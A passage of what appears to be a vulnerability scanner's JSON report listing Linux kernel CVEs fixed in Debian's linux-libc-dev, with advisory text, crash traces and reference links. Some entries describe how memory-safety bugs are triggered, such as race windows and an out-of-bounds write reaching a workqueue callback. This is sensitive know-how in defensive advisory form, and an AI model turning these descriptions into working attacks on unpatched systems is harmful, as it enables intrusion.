removed. By the time tcp_connect() runs the socket is already in\nTCP_SYN_SENT, and TCP_AO_ESTABLISHED does not contain TCPF_SYN_SENT, so\na softirq entering after the wait cannot reach the fast path, and the\nones already in it have finished. The existing NULL handling in the loop\nis then enough.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80849", "https://git.kernel.org/linus/da4471557f279d0f56605158a625bb6e49ef7d41%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80849.mbox", "https://git.kernel.org/stable/c/2857dcbd03cf3354af0fba1b65c6a260fb43811a", "https://git.kernel.org/stable/c/73fde8fe4469f4ed8f0afcc0b9d6413002a9e6b3", "https://git.kernel.org/stable/c/84a93b4e012587d0a4a84ffb23ec6da18e9d85f9", "https://git.kernel.org/stable/c/da4471557f279d0f56605158a625bb6e49ef7d41", "https://git.kernel.org/stable/c/e54ad693eddb40c595add013f545354c538e325b", "https://nvd.nist.gov/vuln/detail/CVE-2026-80849", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80849" ], "PublishedDate": "2026-09-04T16:18:13.683Z", "LastModifiedDate": "2026-10-19T09:17:20.44Z" }, { "VulnerabilityID": "CVE-2026-80850", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80850", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dd020267105207394b14de8c724935d4391c9c5617c9909009b98cfa3632c6e5", "Title": "kernel: tcp: fix AO info use-after-free in tcp_ao_connect_init()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: fix AO info use-after-free in tcp_ao_connect_init()\n\ntcp_v4_connect() adds a SYN-SENT socket to the ehash before calling\ntcp_connect(). If TCP-AO is configured, tcp_connect() first verifies that\na key matches the peer and the bound device's current L3 master.\ntcp_ao_connect_init() later resolves the L3 master again and removes keys\nwhich do not match it.\n\nThe socket lock does not stabilize the bound device's VRF membership.\nDetaching the device from its VRF between the initial validation and the\nL3-master calculation in tcp_ao_connect_init() can therefore make the\nvalidation succeed while initialization observes the default L3 domain and\nremoves the only key. The subsequent AO lookup then fails, so the no-key\npath clears tp-\u003eao_info and frees it directly.\n\nThe receive path can find the socket in the ehash and load tp-\u003eao_info\nunder RCU before acquiring the socket lock. A reader which loaded the old\npointer can thus continue into tcp_inbound_ao_hash() after the direct free.\n\nThe issue was found during a static audit of TCP-AO object lifetime. An\nunprivileged reproducer in self-created user and network namespaces raced\nconnect() with detaching a veth from its VRF while sending TCP-AO segments.\nIt triggered the same KASAN report on two fresh boots:\n\n BUG: KASAN: slab-use-after-free in tcp_inbound_ao_hash+0x585/0x19f0\n Write of size 8 at addr ffff88800bf88128 by task tcp_ao_vrf_race/232\n\n Call Trace:\n tcp_inbound_ao_hash+0x585/0x19f0\n tcp_inbound_hash+0x677/0xa80\n tcp_v4_rcv+0x1c3e/0x3ab0\n\n Allocated by task 235:\n tcp_ao_alloc_info+0x43/0xf0\n tcp_ao_add_cmd+0xdf7/0x13b0\n do_tcp_setsockopt+0x168c/0x2640\n\n Freed by task 235:\n kfree+0x1b8/0x550\n tcp_connect+0x252/0x4f00\n tcp_v4_connect+0x1114/0x1720\n\nThe bad address is 40 bytes inside the freed 128-byte object, matching the\ntcp_ao_info counters.key_not_found field. The two runs used 1000 attempts\neach, reached the no-key path 366 and 411 times, and produced one and two\nKASAN reports respectively. With this change, the same reproducer reached\nthe no-key path 366 times in 1000 attempts without a KASAN report or oops.\n\nUse tcp_ao_destroy_sock() for the no-key path. It unpublishes the AO info,\nupdates the socket memory and static-key accounting, and defers the free\nuntil after an RCU grace period.\n\nAlso drop the WARN_ON_ONCE() and its stale comment. The VRF detach race\nmakes the no-key state reachable during normal operation, so it is a\nhandled condition rather than an impossible assertion. On panic_on_warn\nkernels the WARN would turn this handled race into a kernel panic.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80850", "https://git.kernel.org/linus/ea30dc5267e367b8a5e1e06cc074f813bcbf18b2%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80850.mbox", "https://git.kernel.org/stable/c/284d7fd0eec8774bd6214921fbf525cf907c590e", "https://git.kernel.org/stable/c/594ba77210a1f065832211851a2d7e14d11fcbdb", "https://git.kernel.org/stable/c/70051a57786d5b23f059fbaf5c8241eca14d42ed", "https://git.kernel.org/stable/c/d17e88b6b60ff4ef64e0dd1444f935cb13dee1cd", "https://git.kernel.org/stable/c/ea30dc5267e367b8a5e1e06cc074f813bcbf18b2", "https://nvd.nist.gov/vuln/detail/CVE-2026-80850", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80850" ], "PublishedDate": "2026-09-04T16:18:13.813Z", "LastModifiedDate": "2026-10-19T09:17:20.547Z" }, { "VulnerabilityID": "CVE-2026-80852", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80852", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d1a7c768255e35f6db99c1de452b0b7ff2522dc19a4d3124390b1b2191f679f8", "Title": "kernel: tls: device: fix out-of-bounds write in tls_append_frag()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntls: device: fix out-of-bounds write in tls_append_frag()\n\nFound with syzkaller and a local syzbot instance running on top of a\nnetdevsim TLS offload emulation; tls_device.c is otherwise only reachable\non a machine with a NIC that implements the offload.\n\ntls_push_data() only checks whether the open record still has room for\nanother frag at the bottom of its loop, and the MSG_MORE early break\nskips that check. The record survives to the next syscall with the frag\ncount it already had, and tls_append_frag() does not check either, so\nwith TLS_TX_ZEROCOPY_RO every splice(SPLICE_F_MORE) of a byte or two adds\na non-coalescing pipe page and num_frags walks off the end of\ntls_record_info.frags[MAX_SKB_FRAGS]. Once the record is pushed,\ntls_push_record() runs the same index over sg_tx_data[MAX_SKB_FRAGS] and\nthe sg_set_page() writes land on the destruct_work that follows it, which\nthe workqueue then calls.\n\nThe byte limit is fine because copy drops to 0 and the loop falls through\nto the same check; the frag count has no such feedback.\n\nPush the record rather than keep a full one open, which is what a plain\nTCP socket does - tcp_sendmsg_locked() uses tcp_mark_push() and\nnew_segment in both the copy and the MSG_SPLICE_PAGES paths, and tls_sw\nalready sets full_record when the sk_msg ring fills up, MSG_MORE or not.\n\n BUG: KASAN: slab-out-of-bounds in tls_append_frag ( net/tls/tls_device.c:269)\n Write of size 8 at addr ffff8881104d1530 by task tls_oob/450\n\n CPU: 2 UID: 0 PID: 450 Comm: tls_oob Not tainted 7.2.0-rc7+ #329 PREEMPT\n Call Trace:\n \u003cTASK\u003e\n dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)\n print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)\n kasan_report (mm/kasan/report.c:595)\n tls_append_frag (net/tls/tls_device.c:269)\n tls_push_data (net/tls/tls_device.c:518)\n tls_device_sendmsg (net/tls/tls_device.c:583)\n inet_sendmsg (net/ipv4/af_inet.c:865)\n sock_sendmsg (net/socket.c:775 net/socket.c:790 net/socket.c:813)\n splice_to_socket (fs/splice.c:884)\n do_splice (fs/splice.c:936 fs/splice.c:1349)\n __do_splice (fs/splice.c:1431)\n __x64_sys_splice (fs/splice.c:1634 fs/splice.c:1616)\n do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)\n \u003c/TASK\u003e\n\nand, once the record is pushed:\n\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:300:24\n index 18 is out of range for type 'skb_frag_t [17]'\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:301:41\n index 18 is out of range for type 'scatterlist [17]'\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:302:39\n index 18 is out of range for type 'scatterlist [17]'\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:307:38\n index 26 is out of range for type 'scatterlist [17]'\n\n kernel tried to execute NX-protected page - exploit attempt? (uid: 0)\n BUG: unable to handle page fault for address: ffffea000411a680\n #PF: supervisor instruction fetch in kernel mode\n #PF: error_code(0x0011) - permissions violation\n Oops: Oops: 0011 [#1] SMP KASAN PTI\n Workqueue: ktls_device_destruct 0xffffea000411a680\n RIP: 0010:0xffffea000411a680\n Call Trace:\n \u003cTASK\u003e\n worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)\n kthread (kernel/kthread.c:436)\n ret_from_fork (arch/x86/kernel/process.c:158)\n ret_from_fork_asm (arch/x86/entry/entry_64.S:245)\n \u003c/TASK\u003e", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80852", "https://git.kernel.org/linus/b17cf742eaad70ae29ac558cefb3aa9bbeea03d4%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80852.mbox", "https://git.kernel.org/stable/c/03ced5da6120965d80ed56dbb7d78fa5c9128906", "https://git.kernel.org/stable/c/1fc6eb0c756b8be693b72e9e636ae5e236dcb6ee", "https://git.kernel.org/stable/c/7e1208c135618358da5d7d6664874dc6e53c62fc", "https://git.kernel.org/stable/c/a832d7cb09da2a8e4e9734b4be14d3e76169d805", "https://git.kernel.org/stable/c/b17cf742eaad70ae29ac558cefb3aa9bbeea03d4", "https://git.kernel.org/stable/c/b7f10d4ff987bda038df90052cd4a1434a7412d4", "https://git.kernel.org/stable/c/bc09411a11b5a676c59ff8612c6873d014f6fb36", "https://git.kernel.org/stable/c/cd7e875b89597f3498917af764758391338d1802", "https://git.kernel.org/stable/c/fadbc1ed2a872a8649a44cf9e1cf9621fc58cd6e", "https://linux.oracle.com/cve/CVE-2026-80852.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80852", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80852" ], "PublishedDate": "2026-09-04T16:18:14.073Z", "LastModifiedDate": "2026-10-30T13:20:12.523Z" }, { "VulnerabilityID": "CVE-2026-80878", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80878", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d0a8124c77af8681aa7d4f172ac36de174a5b0014b21985b4af8fa9d239cdfde", "Title": "kernel: afs: Fix leak of ungot volume", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nafs: Fix leak of ungot volume\n\nFix afs_lookup_volume_rcu() so that it doesn't leak a dying volume if\nafs_try_get_volume() fails.", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80878", "https://git.kernel.org/linus/d672c276f685a540ed2b2a8bafaed4650a89022c%20%287.2-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80878.mbox", "https://git.kernel.org/stable/c/78e8ee25a5e8f2eb85bbabbeb15c8a2445b4a67f", "https://git.kernel.org/stable/c/7d10cfec6cbce7396ed5cf6abd8c34bae09c393b", "https://git.kernel.org/stable/c/9cabf1c86948793fbad09023bd2ec58c71b9c1d4", "https://git.kernel.org/stable/c/d672c276f685a540ed2b2a8bafaed4650a89022c", "https://linux.oracle.com/cve/CVE-2026-80878.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80878", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-80878" ], "PublishedDate": "2026-09-04T17:16:59.923Z", "LastModifiedDate": "2026-09-14T13:18:48.513Z" }, { "VulnerabilityID": "CVE-2026-80921", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80921", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b857ab925696a227871b675c7993edd8b8434efa2f24fde1432027618e959232", "Title": "kernel: KVM: s390: vsie: zero stale crypto bits", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: s390: vsie: zero stale crypto bits\n\nWhen shadowing crypto access bits from a format0 apcb (crycb 0 or 1),\nthe bits 64..255 are unchanged from whatever is in the vsie page in the\ncrycb and thus in the apcb. This gives a nested guest potential access\nto a device no longer available. Zero out the remaining bits.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-80921", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/34d5b5b646c91cfb9338d7a12c955a70ffb8c66b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80921.mbox", "https://git.kernel.org/stable/c/087c19cc60a8caa1a08e1e434c8be2caf6c27733", "https://git.kernel.org/stable/c/29b4f7bc2991313bd3e6f6fb8fdf1b173f086dd6", "https://git.kernel.org/stable/c/34d5b5b646c91cfb9338d7a12c955a70ffb8c66b", "https://git.kernel.org/stable/c/59d51550b5cb916bda037673a721a404b3b47a0d", "https://git.kernel.org/stable/c/7d23489f51109e3ebba5b5db8c5f0185af7b7fdf", "https://git.kernel.org/stable/c/935eeba276012916c76243e5cbb843efd8fdb75d", "https://git.kernel.org/stable/c/d110b3297f11ef227098b8a82ade2d5f123b7d2f", "https://git.kernel.org/stable/c/d4bcd2df6d0d2af916b4fe1a533958778ea7c45b", "https://git.kernel.org/stable/c/f6079dca67eccb5eabef9f72437948c66dc5131f", "https://linux.oracle.com/cve/CVE-2026-80921.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80921", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80921" ], "PublishedDate": "2026-09-09T17:17:47.24Z", "LastModifiedDate": "2026-10-19T09:17:22.95Z" }, { "VulnerabilityID": "CVE-2026-80951", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80951", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:60b30c106cef8c54df9203e128eb1c6b4d24756173f4d962c9d427a6ac66a6d5", "Title": "kernel: i3c: master: svc: bound IBI payload to the requested max_payload_len", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ni3c: master: svc: bound IBI payload to the requested max_payload_len\n\nsvc_i3c_master_handle_ibi() reads the IBI payload from the RX FIFO into\nthe IBI slot. The loop is bounded by the hardware FIFO size\n(SVC_I3C_FIFO_SIZE), not by the slot size.\n\nslot-\u003edata points into the IBI pool, which i3c_generic_ibi_alloc_pool()\nsizes at max_payload_len per slot. svc_i3c_master_request_ibi() only\nrejects a max_payload_len larger than SVC_I3C_FIFO_SIZE, so a driver can\nrequest a smaller one. mctp-i3c requests 1. Each readsb() then copies the\ncontroller RXCOUNT bytes (up to 31) with no check against the slot size.\nA device that sends more bytes than the slot holds writes past\nslot-\u003edata, an out-of-bounds write into the IBI pool.\n\nBound the loop by dev-\u003eibi-\u003emax_payload_len and clamp each read to the\nspace left in the slot, the same way dw-i3c does. A device can still send\nmore than the requested payload. Flush the leftover bytes from the RX FIFO\nso they do not leak into the next transfer.", "Severity": "HIGH", "VendorSeverity": { "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80951", "https://git.kernel.org/linus/e2bda39d7f9f285ec803e200b5c1f17143d0b483%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80951.mbox", "https://git.kernel.org/stable/c/35aa6730b8c5626b879a4e893fe664f59bf07d7f", "https://git.kernel.org/stable/c/5697d779577e2786ff3348ae9b77020ac0cf0aab", "https://git.kernel.org/stable/c/7c099b0b292a68d0ef558527945dbfb756fbf893", "https://git.kernel.org/stable/c/7cc5ba756bc1cfffab9cb2695742f9f479dc73f7", "https://git.kernel.org/stable/c/aac3c5aababc7fb69d5bf5b0cc52d308574e3a8c", "https://git.kernel.org/stable/c/e2bda39d7f9f285ec803e200b5c1f17143d0b483", "https://git.kernel.org/stable/c/f296a0d5907bf88314dfda67245f7f69d1552470", "https://nvd.nist.gov/vuln/detail/CVE-2026-80951", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80951" ], "PublishedDate": "2026-09-11T20:19:00.803Z", "LastModifiedDate": "2026-10-19T09:17:26.477Z" }, { "VulnerabilityID": "CVE-2026-81000", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-81000", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2979333757c9c90f1dc85bd0734a567bff48de3be43db8db5f04f6f1025d6e52", "Title": "kernel: net: tun: bound receive headroom", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: tun: bound receive headroom\n\ntun_get_user() uses tun-\u003ealign both as skb headroom and when choosing how\nmuch packet data to keep linear. OVS can propagate an oversized headroom\nrequest from another port to TUN or TAP.\n\nWhen align is larger than the usable space in a one-page skb head,\nSKB_MAX_HEAD(align) underflows and the result becomes negative when stored\nin good_linear. That value later wraps when assigned to the size_t linear\nvariable, and tun_alloc_skb() can place skb-\u003edata outside the allocated\nhead.\n\nBound the headroom stored by TUN to the one-page skb-head budget and the\nlargest non-sentinel 16-bit skb header offset. Leave one linear byte for\nraw TUN and a complete Ethernet header for TAP, including NET_IP_ALIGN.\n\nAlso pull the raw-TUN protocol byte and the TAP Ethernet header before\naccessing them, so these checks remain safe for nonlinear skbs supplied by\nother allocation paths.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-81000", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", 